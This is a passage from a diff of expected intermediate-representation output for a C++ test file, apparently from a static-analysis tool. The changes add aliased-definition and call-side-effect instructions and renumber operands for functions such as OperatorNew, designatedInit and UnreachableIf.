r0_3(glval) = VariableAddress[x] : +# 900| mu0_4(int) = InitializeParameter[x] : r0_3 +# 901| r0_5(glval) = VariableAddress[x] : +# 901| v0_6(void) = Convert : r0_5 +# 902| v0_7(void) = NoOp : +# 900| v0_8(void) = ReturnVoid : +# 900| v0_9(void) = UnmodeledUse : mu* +# 900| v0_10(void) = ExitFunction : # 904| ConstantConditions(int) -> void # 904| Block 0 # 904| v0_0(void) = EnterFunction : -# 904| mu0_1(unknown) = UnmodeledDefinition : -# 904| r0_2(glval) = VariableAddress[x] : -# 904| m0_3(int) = InitializeParameter[x] : r0_2 -# 905| r0_4(glval) = VariableAddress[a] : -# 905| r0_5(bool) = Constant[1] : -# 905| m0_6(bool) = Store : r0_4, r0_5 -# 906| r0_7(glval) = VariableAddress[b] : -# 906| r0_8(bool) = Constant[1] : -# 906| v0_9(void) = ConditionalBranch : r0_8 -#-----| False -> Block 3 -#-----| True -> Block 2 +# 904| mu0_1(unknown) = AliasedDefinition : +# 904| mu0_2(unknown) = UnmodeledDefinition : +# 904| r0_3(glval) = VariableAddress[x] : +# 904| m0_4(int) = InitializeParameter[x] : r0_3 +# 905| r0_5(glval) = VariableAddress[a] : +# 905| r0_6(bool) = Constant[1] : +# 905| m0_7(bool) = Store : r0_5, r0_6 +# 906| r0_8(glval) = VariableAddress[b] : +# 906| r0_9(bool) = Constant[1] : +# 906| v0_10(void) = ConditionalBranch : r0_9 +#-----| False -> Block 2 +#-----| True -> Block 1 # 906| Block 1 -# 906| m1_0(int) = Phi : from 2:m2_3, from 3:m3_3 -# 906| r1_1(glval) = VariableAddress[#temp906:11] : -# 906| r1_2(int) = Load : r1_1, m1_0 -# 906| m1_3(int) = Store : r0_7, r1_2 -# 907| v1_4(void) = NoOp : -# 904| v1_5(void) = ReturnVoid : -# 904| v1_6(void) = UnmodeledUse : mu* -# 904| v1_7(void) = ExitFunction : +# 906| r1_0(glval) = VariableAddress[x] : +# 906| r1_1(int) = Load : r1_0, m0_4 +# 906| r1_2(glval) = VariableAddress[#temp906:11] : +# 906| m1_3(int) = Store : r1_2, r1_1 +# 906| r1_4(glval) = VariableAddress[#temp906:11] : +# 906| r1_5(int) = Load : r1_4, m1_3 +# 906| m1_6(int) = Store : r0_8, r1_5 +# 907| v1_7(void) = NoOp : +# 904| v1_8(void) = ReturnVoid : +# 904| v1_9(void) = UnmodeledUse : mu* +# 904| v1_10(void) = ExitFunction : -# 906| Block 2 -# 906| r2_0(glval) = VariableAddress[x] : -# 906| r2_1(int) = Load : r2_0, m0_3 -# 906| r2_2(glval) = VariableAddress[#temp906:11] : -# 906| m2_3(int) = Store : r2_2, r2_1 -#-----| Goto -> Block 1 - -# 906| Block 3 -# 906| r3_0(glval) = VariableAddress[x] : -# 906| r3_1(int) = Load : r3_0, m0_3 -# 906| r3_2(glval) = VariableAddress[#temp906:11] : -# 906| m3_3(int) = Store : r3_2, r3_1 -#-----| Goto -> Block 1 +# 904| Block 2 +# 904| v2_0(void) = Unreached : # 940| OperatorNew() -> void # 940| Block 0 # 940| v0_0(void) = EnterFunction : -# 940| mu0_1(unknown) = UnmodeledDefinition : -# 941| r0_2(glval) = FunctionAddress[operator new] : -# 941| r0_3(unsigned long) = Constant[4] : -# 941| r0_4(void *) = Call : r0_2, r0_3 -# 941| r0_5(int *) = Convert : r0_4 -# 942| r0_6(glval) = FunctionAddress[operator new] : -# 942| r0_7(unsigned long) = Constant[4] : -# 942| r0_8(float) = Constant[1.0] : -# 942| r0_9(void *) = Call : r0_6, r0_7, r0_8 -# 942| r0_10(int *) = Convert : r0_9 -# 943| r0_11(glval) = FunctionAddress[operator new] : -# 943| r0_12(unsigned long) = Constant[4] : -# 943| r0_13(void *) = Call : r0_11, r0_12 -# 943| r0_14(int *) = Convert : r0_13 -# 943| r0_15(int) = Constant[0] : -# 943| mu0_16(int) = Store : r0_14, r0_15 -# 944| r0_17(glval) = FunctionAddress[operator new] : -# 944| r0_18(unsigned long) = Constant[8] : -# 944| r0_19(void *) = Call : r0_17, r0_18 -# 944| r0_20(String *) = Convert : r0_19 -# 944| r0_21(glval) = FunctionAddress[String] : -# 944| v0_22(void) = Call : r0_21, this:r0_20 -# 945| r0_23(glval) = FunctionAddress[operator new] : -# 945| r0_24(unsigned long) = Constant[8] : -# 945| r0_25(float) = Constant[1.0] : -# 945| r0_26(void *) = Call : r0_23, r0_24, r0_25 -# 945| r0_27(String *) = Convert : r0_26 -# 945| r0_28(glval) = FunctionAddress[String] : -# 945| r0_29(glval) = StringConstant["hello"] : -# 945| r0_30(char *) = Convert : r0_29 -# 945| v0_31(void) = Call : r0_28, this:r0_27, r0_30 -# 946| r0_32(glval) = FunctionAddress[operator new] : -# 946| r0_33(unsigned long) = Constant[256] : -# 946| r0_34(align_val_t) = Constant[128] : -# 946| r0_35(void *) = Call : r0_32, r0_33, r0_34 -# 946| r0_36(Overaligned *) = Convert : r0_35 -# 947| r0_37(glval) = FunctionAddress[operator new] : -# 947| r0_38(unsigned long) = Constant[256] : -# 947| r0_39(align_val_t) = Constant[128] : -# 947| r0_40(float) = Constant[1.0] : -# 947| r0_41(void *) = Call : r0_37, r0_38, r0_39, r0_40 -# 947| r0_42(Overaligned *) = Convert : r0_41 -# 947| r0_43(Overaligned) = Constant[0] : -# 947| mu0_44(Overaligned) = Store : r0_42, r0_43 -# 948| v0_45(void) = NoOp : -# 940| v0_46(void) = ReturnVoid : -# 940| v0_47(void) = UnmodeledUse : mu* -# 940| v0_48(void) = ExitFunction : +# 940| mu0_1(unknown) = AliasedDefinition : +# 940| mu0_2(unknown) = UnmodeledDefinition : +# 941| r0_3(glval) = FunctionAddress[operator new] : +# 941| r0_4(unsigned long) = Constant[4] : +# 941| r0_5(void *) = Call : r0_3, r0_4 +# 941| mu0_6(unknown) = ^CallSideEffect : mu0_2 +# 941| r0_7(int *) = Convert : r0_5 +# 942| r0_8(glval) = FunctionAddress[operator new] : +# 942| r0_9(unsigned long) = Constant[4] : +# 942| r0_10(float) = Constant[1.0] : +# 942| r0_11(void *) = Call : r0_8, r0_9, r0_10 +# 942| mu0_12(unknown) = ^CallSideEffect : mu0_2 +# 942| r0_13(int *) = Convert : r0_11 +# 943| r0_14(glval) = FunctionAddress[operator new] : +# 943| r0_15(unsigned long) = Constant[4] : +# 943| r0_16(void *) = Call : r0_14, r0_15 +# 943| mu0_17(unknown) = ^CallSideEffect : mu0_2 +# 943| r0_18(int *) = Convert : r0_16 +# 943| r0_19(int) = Constant[0] : +# 943| mu0_20(int) = Store : r0_18, r0_19 +# 944| r0_21(glval) = FunctionAddress[operator new] : +# 944| r0_22(unsigned long) = Constant[8] : +# 944| r0_23(void *) = Call : r0_21, r0_22 +# 944| mu0_24(unknown) = ^CallSideEffect : mu0_2 +# 944| r0_25(String *) = Convert : r0_23 +# 944| r0_26(glval) = FunctionAddress[String] : +# 944| v0_27(void) = Call : r0_26, this:r0_25 +# 944| mu0_28(unknown) = ^CallSideEffect : mu0_2 +# 945| r0_29(glval) = FunctionAddress[operator new] : +# 945| r0_30(unsigned long) = Constant[8] : +# 945| r0_31(float) = Constant[1.0] : +# 945| r0_32(void *) = Call : r0_29, r0_30, r0_31 +# 945| mu0_33(unknown) = ^CallSideEffect : mu0_2 +# 945| r0_34(String *) = Convert : r0_32 +# 945| r0_35(glval) = FunctionAddress[String] : +# 945| r0_36(glval) = StringConstant["hello"] : +# 945| r0_37(char *) = Convert : r0_36 +# 945| v0_38(void) = Call : r0_35, this:r0_34, r0_37 +# 945| mu0_39(unknown) = ^CallSideEffect : mu0_2 +# 946| r0_40(glval) = FunctionAddress[operator new] : +# 946| r0_41(unsigned long) = Constant[256] : +# 946| r0_42(align_val_t) = Constant[128] : +# 946| r0_43(void *) = Call : r0_40, r0_41, r0_42 +# 946| mu0_44(unknown) = ^CallSideEffect : mu0_2 +# 946| r0_45(Overaligned *) = Convert : r0_43 +# 947| r0_46(glval) = FunctionAddress[operator new] : +# 947| r0_47(unsigned long) = Constant[256] : +# 947| r0_48(align_val_t) = Constant[128] : +# 947| r0_49(float) = Constant[1.0] : +# 947| r0_50(void *) = Call : r0_46, r0_47, r0_48, r0_49 +# 947| mu0_51(unknown) = ^CallSideEffect : mu0_2 +# 947| r0_52(Overaligned *) = Convert : r0_50 +# 947| r0_53(Overaligned) = Constant[0] : +# 947| mu0_54(Overaligned) = Store : r0_52, r0_53 +# 948| v0_55(void) = NoOp : +# 940| v0_56(void) = ReturnVoid : +# 940| v0_57(void) = UnmodeledUse : mu* +# 940| v0_58(void) = ExitFunction : # 950| OperatorNewArray(int) -> void # 950| Block 0 # 950| v0_0(void) = EnterFunction : -# 950| mu0_1(unknown) = UnmodeledDefinition : -# 950| r0_2(glval) = VariableAddress[n] : -# 950| m0_3(int) = InitializeParameter[n] : r0_2 -# 951| r0_4(glval) = FunctionAddress[operator new[]] : -# 951| r0_5(unsigned long) = Constant[40] : -# 951| r0_6(void *) = Call : r0_4, r0_5 -# 951| r0_7(int *) = Convert : r0_6 -# 952| r0_8(glval) = FunctionAddress[operator new[]] : -# 952| r0_9(glval) = VariableAddress[n] : -# 952| r0_10(int) = Load : r0_9, m0_3 -# 952| r0_11(unsigned long) = Convert : r0_10 -# 952| r0_12(unsigned long) = Constant[4] : -# 952| r0_13(unsigned long) = Mul : r0_11, r0_12 -# 952| r0_14(void *) = Call : r0_8, r0_13 -# 952| r0_15(int *) = Convert : r0_14 -# 953| r0_16(glval) = FunctionAddress[operator new[]] : -# 953| r0_17(glval) = VariableAddress[n] : -# 953| r0_18(int) = Load : r0_17, m0_3 -# 953| r0_19(unsigned long) = Convert : r0_18 -# 953| r0_20(unsigned long) = Constant[4] : -# 953| r0_21(unsigned long) = Mul : r0_19, r0_20 -# 953| r0_22(float) = Constant[1.0] : -# 953| r0_23(void *) = Call : r0_16, r0_21, r0_22 -# 953| r0_24(int *) = Convert : r0_23 -# 954| r0_25(glval) = FunctionAddress[operator new[]] : -# 954| r0_26(glval) = VariableAddress[n] : -# 954| r0_27(int) = Load : r0_26, m0_3 -# 954| r0_28(unsigned long) = Convert : r0_27 -# 954| r0_29(unsigned long) = Constant[8] : -# 954| r0_30(unsigned long) = Mul : r0_28, r0_29 -# 954| r0_31(void *) = Call : r0_25, r0_30 -# 954| r0_32(String *) = Convert : r0_31 -# 955| r0_33(glval) = FunctionAddress[operator new[]] : -# 955| r0_34(glval) = VariableAddress[n] : -# 955| r0_35(int) = Load : r0_34, m0_3 -# 955| r0_36(unsigned long) = Convert : r0_35 -# 955| r0_37(unsigned long) = Constant[256] : -# 955| r0_38(unsigned long) = Mul : r0_36, r0_37 -# 955| r0_39(align_val_t) = Constant[128] : -# 955| r0_40(void *) = Call : r0_33, r0_38, r0_39 -# 955| r0_41(Overaligned *) = Convert : r0_40 -# 956| r0_42(glval) = FunctionAddress[operator new[]] : -# 956| r0_43(unsigned long) = Constant[2560] : -# 956| r0_44(align_val_t) = Constant[128] : -# 956| r0_45(float) = Constant[1.0] : -# 956| r0_46(void *) = Call : r0_42, r0_43, r0_44, r0_45 -# 956| r0_47(Overaligned *) = Convert : r0_46 -# 957| r0_48(glval) = FunctionAddress[operator new[]] : -# 957| r0_49(glval) = VariableAddress[n] : -# 957| r0_50(int) = Load : r0_49, m0_3 -# 957| r0_51(unsigned long) = Convert : r0_50 -# 957| r0_52(unsigned long) = Constant[1] : -# 957| r0_53(unsigned long) = Mul : r0_51, r0_52 -# 957| r0_54(void *) = Call : r0_48, r0_53 -# 957| r0_55(DefaultCtorWithDefaultParam *) = Convert : r0_54 -# 958| r0_56(glval) = FunctionAddress[operator new[]] : -# 958| r0_57(glval) = VariableAddress[n] : -# 958| r0_58(int) = Load : r0_57, m0_3 -# 958| r0_59(unsigned long) = Convert : r0_58 -# 958| r0_60(unsigned long) = Constant[4] : -# 958| r0_61(unsigned long) = Mul : r0_59, r0_60 -# 958| r0_62(void *) = Call : r0_56, r0_61 -# 958| r0_63(int *) = Convert : r0_62 -# 959| v0_64(void) = NoOp : -# 950| v0_65(void) = ReturnVoid : -# 950| v0_66(void) = UnmodeledUse : mu* -# 950| v0_67(void) = ExitFunction : +# 950| mu0_1(unknown) = AliasedDefinition : +# 950| mu0_2(unknown) = UnmodeledDefinition : +# 950| r0_3(glval) = VariableAddress[n] : +# 950| m0_4(int) = InitializeParameter[n] : r0_3 +# 951| r0_5(glval) = FunctionAddress[operator new[]] : +# 951| r0_6(unsigned long) = Constant[40] : +# 951| r0_7(void *) = Call : r0_5, r0_6 +# 951| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 951| r0_9(int *) = Convert : r0_7 +# 952| r0_10(glval) = FunctionAddress[operator new[]] : +# 952| r0_11(glval) = VariableAddress[n] : +# 952| r0_12(int) = Load : r0_11, m0_4 +# 952| r0_13(unsigned long) = Convert : r0_12 +# 952| r0_14(unsigned long) = Constant[4] : +# 952| r0_15(unsigned long) = Mul : r0_13, r0_14 +# 952| r0_16(void *) = Call : r0_10, r0_15 +# 952| mu0_17(unknown) = ^CallSideEffect : mu0_2 +# 952| r0_18(int *) = Convert : r0_16 +# 953| r0_19(glval) = FunctionAddress[operator new[]] : +# 953| r0_20(glval) = VariableAddress[n] : +# 953| r0_21(int) = Load : r0_20, m0_4 +# 953| r0_22(unsigned long) = Convert : r0_21 +# 953| r0_23(unsigned long) = Constant[4] : +# 953| r0_24(unsigned long) = Mul : r0_22, r0_23 +# 953| r0_25(float) = Constant[1.0] : +# 953| r0_26(void *) = Call : r0_19, r0_24, r0_25 +# 953| mu0_27(unknown) = ^CallSideEffect : mu0_2 +# 953| r0_28(int *) = Convert : r0_26 +# 954| r0_29(glval) = FunctionAddress[operator new[]] : +# 954| r0_30(glval) = VariableAddress[n] : +# 954| r0_31(int) = Load : r0_30, m0_4 +# 954| r0_32(unsigned long) = Convert : r0_31 +# 954| r0_33(unsigned long) = Constant[8] : +# 954| r0_34(unsigned long) = Mul : r0_32, r0_33 +# 954| r0_35(void *) = Call : r0_29, r0_34 +# 954| mu0_36(unknown) = ^CallSideEffect : mu0_2 +# 954| r0_37(String *) = Convert : r0_35 +# 955| r0_38(glval) = FunctionAddress[operator new[]] : +# 955| r0_39(glval) = VariableAddress[n] : +# 955| r0_40(int) = Load : r0_39, m0_4 +# 955| r0_41(unsigned long) = Convert : r0_40 +# 955| r0_42(unsigned long) = Constant[256] : +# 955| r0_43(unsigned long) = Mul : r0_41, r0_42 +# 955| r0_44(align_val_t) = Constant[128] : +# 955| r0_45(void *) = Call : r0_38, r0_43, r0_44 +# 955| mu0_46(unknown) = ^CallSideEffect : mu0_2 +# 955| r0_47(Overaligned *) = Convert : r0_45 +# 956| r0_48(glval) = FunctionAddress[operator new[]] : +# 956| r0_49(unsigned long) = Constant[2560] : +# 956| r0_50(align_val_t) = Constant[128] : +# 956| r0_51(float) = Constant[1.0] : +# 956| r0_52(void *) = Call : r0_48, r0_49, r0_50, r0_51 +# 956| mu0_53(unknown) = ^CallSideEffect : mu0_2 +# 956| r0_54(Overaligned *) = Convert : r0_52 +# 957| r0_55(glval) = FunctionAddress[operator new[]] : +# 957| r0_56(glval) = VariableAddress[n] : +# 957| r0_57(int) = Load : r0_56, m0_4 +# 957| r0_58(unsigned long) = Convert : r0_57 +# 957| r0_59(unsigned long) = Constant[1] : +# 957| r0_60(unsigned long) = Mul : r0_58, r0_59 +# 957| r0_61(void *) = Call : r0_55, r0_60 +# 957| mu0_62(unknown) = ^CallSideEffect : mu0_2 +# 957| r0_63(DefaultCtorWithDefaultParam *) = Convert : r0_61 +# 958| r0_64(glval) = FunctionAddress[operator new[]] : +# 958| r0_65(glval) = VariableAddress[n] : +# 958| r0_66(int) = Load : r0_65, m0_4 +# 958| r0_67(unsigned long) = Convert : r0_66 +# 958| r0_68(unsigned long) = Constant[4] : +# 958| r0_69(unsigned long) = Mul : r0_67, r0_68 +# 958| r0_70(void *) = Call : r0_64, r0_69 +# 958| mu0_71(unknown) = ^CallSideEffect : mu0_2 +# 958| r0_72(int *) = Convert : r0_70 +# 959| v0_73(void) = NoOp : +# 950| v0_74(void) = ReturnVoid : +# 950| v0_75(void) = UnmodeledUse : mu* +# 950| v0_76(void) = ExitFunction : # 961| designatedInit() -> int # 961| Block 0 -# 961| v0_0(void) = EnterFunction : -# 961| mu0_1(unknown) = UnmodeledDefinition : -# 962| r0_2(glval) = VariableAddress[a1] : -# 962| mu0_3(int[1000]) = Uninitialized : r0_2 -# 962| r0_4(int) = Constant[0] : -# 962| r0_5(glval) = PointerAdd : r0_2, r0_4 -# 962| r0_6(unknown[8]) = Constant[0] : -# 962| mu0_7(unknown[8]) = Store : r0_5, r0_6 -#-----| Goto -> Block 2 - -# 962| Block 1 -# 962| r1_0(int) = Constant[900] : -# 962| r1_1(glval) = PointerAdd : r0_2, r1_0 -# 962| r1_2(int) = Constant[10900] : -# 962| mu1_3(int) = Store : r1_1, r1_2 -# 962| r1_4(int) = Constant[901] : -# 962| r1_5(glval) = PointerAdd : r0_2, r1_4 -# 962| r1_6(unknown[396]) = Constant[0] : -# 962| mu1_7(unknown[396]) = Store : r1_5, r1_6 -#-----| Goto -> Block 2 - -# 963| Block 2 -# 963| r2_0(glval) = VariableAddress[#return] : -# 963| r2_1(glval) = VariableAddress[a1] : -# 963| r2_2(int *) = Convert : r2_1 -# 963| r2_3(int) = Constant[900] : -# 963| r2_4(int *) = PointerAdd[4] : r2_2, r2_3 -# 963| r2_5(int) = Load : r2_4, mu0_1 -# 963| m2_6(int) = Store : r2_0, r2_5 -# 961| r2_7(glval) = VariableAddress[#return] : -# 961| v2_8(void) = ReturnValue : r2_7, m2_6 -# 961| v2_9(void) = UnmodeledUse : mu* -# 961| v2_10(void) = ExitFunction : - -# 962| Block 3 -# 962| r3_0(int) = Constant[2] : -# 962| r3_1(glval) = PointerAdd : r0_2, r3_0 -# 962| r3_2(int) = Constant[10002] : -# 962| mu3_3(int) = Store : r3_1, r3_2 -# 962| r3_4(int) = Constant[3] : -# 962| r3_5(glval) = PointerAdd : r0_2, r3_4 -# 962| r3_6(unknown[3588]) = Constant[0] : -# 962| mu3_7(unknown[3588]) = Store : r3_5, r3_6 -#-----| Goto -> Block 2 +# 961| v0_0(void) = EnterFunction : +# 961| mu0_1(unknown) = AliasedDefinition : +# 961| mu0_2(unknown) = UnmodeledDefinition : +# 962| r0_3(glval) = VariableAddress[a1] : +# 962| mu0_4(int[1000]) = Uninitialized[a1] : r0_3 +# 962| r0_5(int) = Constant[0] : +# 962| r0_6(glval) = PointerAdd : r0_3, r0_5 +# 962| r0_7(unknown[8]) = Constant[0] : +# 962| mu0_8(unknown[8]) = Store : r0_6, r0_7 +# 962| r0_9(int) = Constant[2] : +# 962| r0_10(glval) = PointerAdd : r0_3, r0_9 +# 962| r0_11(int) = Constant[10002] : +# 962| mu0_12(int) = Store : r0_10, r0_11 +# 962| r0_13(int) = Constant[3] : +# 962| r0_14(glval) = PointerAdd : r0_3, r0_13 +# 962| r0_15(unknown[3588]) = Constant[0] : +# 962| mu0_16(unknown[3588]) = Store : r0_14, r0_15 +# 962| r0_17(int) = Constant[900] : +# 962| r0_18(glval) = PointerAdd : r0_3, r0_17 +# 962| r0_19(int) = Constant[10900] : +# 962| mu0_20(int) = Store : r0_18, r0_19 +# 962| r0_21(int) = Constant[901] : +# 962| r0_22(glval) = PointerAdd : r0_3, r0_21 +# 962| r0_23(unknown[396]) = Constant[0] : +# 962| mu0_24(unknown[396]) = Store : r0_22, r0_23 +# 963| r0_25(glval) = VariableAddress[#return] : +# 963| r0_26(glval) = VariableAddress[a1] : +# 963| r0_27(int *) = Convert : r0_26 +# 963| r0_28(int) = Constant[900] : +# 963| r0_29(int *) = PointerAdd[4] : r0_27, r0_28 +# 963| r0_30(int) = Load : r0_29, mu0_2 +# 963| m0_31(int) = Store : r0_25, r0_30 +# 961| r0_32(glval) = VariableAddress[#return] : +# 961| v0_33(void) = ReturnValue : r0_32, m0_31 +# 961| v0_34(void) = UnmodeledUse : mu* +# 961| v0_35(void) = ExitFunction : # 966| IfStmtWithDeclaration(int, int) -> void # 966| Block 0 # 966| v0_0(void) = EnterFunction : -# 966| mu0_1(unknown) = UnmodeledDefinition : -# 966| r0_2(glval) = VariableAddress[x] : -# 966| mu0_3(int) = InitializeParameter[x] : r0_2 -# 966| r0_4(glval) = VariableAddress[y] : -# 966| m0_5(int) = InitializeParameter[y] : r0_4 -# 967| r0_6(glval) = VariableAddress[b] : -# 967| r0_7(glval) = VariableAddress[x] : -# 967| r0_8(int) = Load : r0_7, mu0_1 -# 967| r0_9(glval) = VariableAddress[y] : -# 967| r0_10(int) = Load : r0_9, m0_5 -# 967| r0_11(bool) = CompareLT : r0_8, r0_10 -# 967| m0_12(bool) = Store : r0_6, r0_11 -# 967| r0_13(glval) = VariableAddress[b] : -# 967| r0_14(bool) = Load : r0_13, m0_12 -# 967| v0_15(void) = ConditionalBranch : r0_14 +# 966| mu0_1(unknown) = AliasedDefinition : +# 966| mu0_2(unknown) = UnmodeledDefinition : +# 966| r0_3(glval) = VariableAddress[x] : +# 966| mu0_4(int) = InitializeParameter[x] : r0_3 +# 966| r0_5(glval) = VariableAddress[y] : +# 966| m0_6(int) = InitializeParameter[y] : r0_5 +# 967| r0_7(glval) = VariableAddress[b] : +# 967| r0_8(glval) = VariableAddress[x] : +# 967| r0_9(int) = Load : r0_8, mu0_2 +# 967| r0_10(glval) = VariableAddress[y] : +# 967| r0_11(int) = Load : r0_10, m0_6 +# 967| r0_12(bool) = CompareLT : r0_9, r0_11 +# 967| m0_13(bool) = Store : r0_7, r0_12 +# 967| r0_14(glval) = VariableAddress[b] : +# 967| r0_15(bool) = Load : r0_14, m0_13 +# 967| v0_16(void) = ConditionalBranch : r0_15 #-----| False -> Block 2 #-----| True -> Block 1 @@ -4045,9 +4206,9 @@ ir.cpp: # 970| Block 2 # 970| r2_0(glval) = VariableAddress[z] : # 970| r2_1(glval) = VariableAddress[x] : -# 970| r2_2(int) = Load : r2_1, mu0_1 +# 970| r2_2(int) = Load : r2_1, mu0_2 # 970| r2_3(glval) = VariableAddress[y] : -# 970| r2_4(int) = Load : r2_3, m0_5 +# 970| r2_4(int) = Load : r2_3, m0_6 # 970| r2_5(int) = Add : r2_2, r2_4 # 970| m2_6(int) = Store : r2_0, r2_5 # 970| r2_7(glval) = VariableAddress[z] : @@ -4092,11 +4253,12 @@ ir.cpp: # 978| WhileStmtWithDeclaration(int, int) -> void # 978| Block 0 # 978| v0_0(void) = EnterFunction : -# 978| mu0_1(unknown) = UnmodeledDefinition : -# 978| r0_2(glval) = VariableAddress[x] : -# 978| mu0_3(int) = InitializeParameter[x] : r0_2 -# 978| r0_4(glval) = VariableAddress[y] : -# 978| m0_5(int) = InitializeParameter[y] : r0_4 +# 978| mu0_1(unknown) = AliasedDefinition : +# 978| mu0_2(unknown) = UnmodeledDefinition : +# 978| r0_3(glval) = VariableAddress[x] : +# 978| mu0_4(int) = InitializeParameter[x] : r0_3 +# 978| r0_5(glval) = VariableAddress[y] : +# 978| m0_6(int) = InitializeParameter[y] : r0_5 #-----| Goto -> Block 7 # 979| Block 1 @@ -4106,9 +4268,9 @@ ir.cpp: # 981| Block 2 # 981| r2_0(glval) = VariableAddress[z] : # 981| r2_1(glval) = VariableAddress[x] : -# 981| r2_2(int) = Load : r2_1, mu0_1 +# 981| r2_2(int) = Load : r2_1, mu0_2 # 981| r2_3(glval) = VariableAddress[y] : -# 981| r2_4(int) = Load : r2_3, m0_5 +# 981| r2_4(int) = Load : r2_3, m0_6 # 981| r2_5(int) = Add : r2_2, r2_4 # 981| m2_6(int) = Store : r2_0, r2_5 # 981| r2_7(glval) = VariableAddress[z] : @@ -4148,9 +4310,9 @@ ir.cpp: # 979| Block 7 # 979| r7_0(glval) = VariableAddress[b] : # 979| r7_1(glval) = VariableAddress[x] : -# 979| r7_2(int) = Load : r7_1, mu0_1 +# 979| r7_2(int) = Load : r7_1, mu0_2 # 979| r7_3(glval) = VariableAddress[y] : -# 979| r7_4(int) = Load : r7_3, m0_5 +# 979| r7_4(int) = Load : r7_3, m0_6 # 979| r7_5(bool) = CompareLT : r7_2, r7_4 # 979| m7_6(bool) = Store : r7_0, r7_5 # 979| r7_7(glval) = VariableAddress[b] : @@ -4158,3 +4320,200 @@ ir.cpp: # 979| v7_9(void) = ConditionalBranch : r7_8 #-----| False -> Block 2 #-----| True -> Block 1 + +# 1005| ChiPhiNode(Point *, bool, bool) -> int +# 1005| Block 0 +# 1005| v0_0(void) = EnterFunction : +# 1005| mu0_1(unknown) = AliasedDefinition : +# 1005| mu0_2(unknown) = UnmodeledDefinition : +# 1005| r0_3(glval) = VariableAddress[p] : +# 1005| m0_4(Point *) = InitializeParameter[p] : r0_3 +# 1005| r0_5(glval) = VariableAddress[which1] : +# 1005| m0_6(bool) = InitializeParameter[which1] : r0_5 +# 1005| r0_7(glval) = VariableAddress[which2] : +# 1005| m0_8(bool) = InitializeParameter[which2] : r0_7 +# 1006| r0_9(glval) = VariableAddress[which1] : +# 1006| r0_10(bool) = Load : r0_9, m0_6 +# 1006| v0_11(void) = ConditionalBranch : r0_10 +#-----| False -> Block 2 +#-----| True -> Block 1 + +# 1007| Block 1 +# 1007| r1_0(glval) = VariableAddress[p] : +# 1007| r1_1(Point *) = Load : r1_0, m0_4 +# 1007| r1_2(glval) = FieldAddress[x] : r1_1 +# 1007| r1_3(int) = Load : r1_2, mu0_2 +# 1007| r1_4(int) = Constant[1] : +# 1007| r1_5(int) = Add : r1_3, r1_4 +# 1007| mu1_6(int) = Store : r1_2, r1_5 +#-----| Goto -> Block 3 + +# 1009| Block 2 +# 1009| r2_0(glval) = VariableAddress[p] : +# 1009| r2_1(Point *) = Load : r2_0, m0_4 +# 1009| r2_2(glval) = FieldAddress[y] : r2_1 +# 1009| r2_3(int) = Load : r2_2, mu0_2 +# 1009| r2_4(int) = Constant[1] : +# 1009| r2_5(int) = Add : r2_3, r2_4 +# 1009| mu2_6(int) = Store : r2_2, r2_5 +#-----| Goto -> Block 3 + +# 1012| Block 3 +# 1012| r3_0(glval) = VariableAddress[which2] : +# 1012| r3_1(bool) = Load : r3_0, m0_8 +# 1012| v3_2(void) = ConditionalBranch : r3_1 +#-----| False -> Block 5 +#-----| True -> Block 4 + +# 1013| Block 4 +# 1013| r4_0(glval) = VariableAddress[p] : +# 1013| r4_1(Point *) = Load : r4_0, m0_4 +# 1013| r4_2(glval) = FieldAddress[x] : r4_1 +# 1013| r4_3(int) = Load : r4_2, mu0_2 +# 1013| r4_4(int) = Constant[1] : +# 1013| r4_5(int) = Add : r4_3, r4_4 +# 1013| mu4_6(int) = Store : r4_2, r4_5 +#-----| Goto -> Block 6 + +# 1015| Block 5 +# 1015| r5_0(glval) = VariableAddress[p] : +# 1015| r5_1(Point *) = Load : r5_0, m0_4 +# 1015| r5_2(glval) = FieldAddress[y] : r5_1 +# 1015| r5_3(int) = Load : r5_2, mu0_2 +# 1015| r5_4(int) = Constant[1] : +# 1015| r5_5(int) = Add : r5_3, r5_4 +# 1015| mu5_6(int) = Store : r5_2, r5_5 +#-----| Goto -> Block 6 + +# 1018| Block 6 +# 1018| r6_0(glval) = VariableAddress[#return] : +# 1018| r6_1(glval) = VariableAddress[p] : +# 1018| r6_2(Point *) = Load : r6_1, m0_4 +# 1018| r6_3(glval) = FieldAddress[x] : r6_2 +# 1018| r6_4(int) = Load : r6_3, mu0_2 +# 1018| r6_5(glval) = VariableAddress[p] : +# 1018| r6_6(Point *) = Load : r6_5, m0_4 +# 1018| r6_7(glval) = FieldAddress[y] : r6_6 +# 1018| r6_8(int) = Load : r6_7, mu0_2 +# 1018| r6_9(int) = Add : r6_4, r6_8 +# 1018| m6_10(int) = Store : r6_0, r6_9 +# 1005| r6_11(glval) = VariableAddress[#return] : +# 1005| v6_12(void) = ReturnValue : r6_11, m6_10 +# 1005| v6_13(void) = UnmodeledUse : mu* +# 1005| v6_14(void) = ExitFunction : + +# 1021| UnreachableViaGoto() -> int +# 1021| Block 0 +# 1021| v0_0(void) = EnterFunction : +# 1021| mu0_1(unknown) = AliasedDefinition : +# 1021| mu0_2(unknown) = UnmodeledDefinition : +# 1022| v0_3(void) = NoOp : +# 1024| v0_4(void) = NoOp : +# 1025| r0_5(glval) = VariableAddress[#return] : +# 1025| r0_6(int) = Constant[0] : +# 1025| m0_7(int) = Store : r0_5, r0_6 +# 1021| r0_8(glval) = VariableAddress[#return] : +# 1021| v0_9(void) = ReturnValue : r0_8, m0_7 +# 1021| v0_10(void) = UnmodeledUse : mu* +# 1021| v0_11(void) = ExitFunction : + +# 1028| UnreachableIf(bool) -> int +# 1028| Block 0 +# 1028| v0_0(void) = EnterFunction : +# 1028| mu0_1(unknown) = AliasedDefinition : +# 1028| mu0_2(unknown) = UnmodeledDefinition : +# 1028| r0_3(glval) = VariableAddress[b] : +# 1028| m0_4(bool) = InitializeParameter[b] : r0_3 +# 1029| r0_5(glval) = VariableAddress[x] : +# 1029| r0_6(int) = Constant[5] : +# 1029| m0_7(int) = Store : r0_5, r0_6 +# 1030| r0_8(glval) = VariableAddress[y] : +# 1030| r0_9(int) = Constant[10] : +# 1030| m0_10(int) = Store : r0_8, r0_9 +# 1031| r0_11(glval) = VariableAddress[b] : +# 1031| r0_12(bool) = Load : r0_11, m0_4 +# 1031| v0_13(void) = ConditionalBranch : r0_12 +#-----| False -> Block 5 +#-----| True -> Block 2 + +# 1028| Block 1 +# 1028| m1_0(int) = Phi : from 3:m3_2, from 4:m4_2, from 6:m6_2, from 7:m7_2 +# 1028| r1_1(glval) = VariableAddress[#return] : +# 1028| v1_2(void) = ReturnValue : r1_1, m1_0 +# 1028| 